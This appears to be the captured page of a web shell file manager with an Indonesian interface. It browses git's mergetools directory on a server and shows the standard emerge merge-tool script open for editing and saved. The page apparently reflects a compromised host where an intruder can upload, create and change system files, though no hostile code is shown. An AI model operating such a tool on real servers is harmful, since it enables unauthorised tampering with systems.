PATH: //proc/self/root/usr/libexec/git-core/mergetools
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📄 araxis
↓
X
📄 bc
↓
X
📄 codecompare
↓
X
📄 deltawalker
↓
X
📄 diffmerge
↓
X
📄 diffuse
↓
X
📄 ecmerge
↓
X
📄 emerge
↓
X
📄 examdiff
↓
X
📄 guiffy
↓
X
📄 gvimdiff
↓
X
📄 kdiff3
↓
X
📄 kompare
↓
X
📄 meld
↓
X
📄 nvimdiff
↓
X
📄 opendiff
↓
X
📄 smerge
↓
X
📄 tkdiff
↓
X
📄 tortoisemerge
↓
X
📄 vimdiff
↓
X
📄 vscode
↓
X
📄 winmerge
↓
X
📄 xxdiff
↓
X
SAVING...
BERHASIL DIUBAH!
EDITING: emerge
diff_cmd () { "$merge_tool_path" -f emerge-files-command "$LOCAL" "$REMOTE" } diff_cmd_help () { echo "Use Emacs' Emerge" } merge_cmd () { if $base_present then "$merge_tool_path" \ -f emerge-files-with-ancestor-command \ "$LOCAL" "$REMOTE" "$BASE" \ "$(basename "$MERGED")" else "$merge_tool_path" \ -f emerge-files-command \ "$LOCAL" "$REMOTE" \ "$(basename "$MERGED")" fi } merge_cmd_help () { echo "Use Emacs' Emerge" } translate_merge_tool_path() { echo emacs } exit_code_trustable () { true }
SIMPAN PERUBAHAN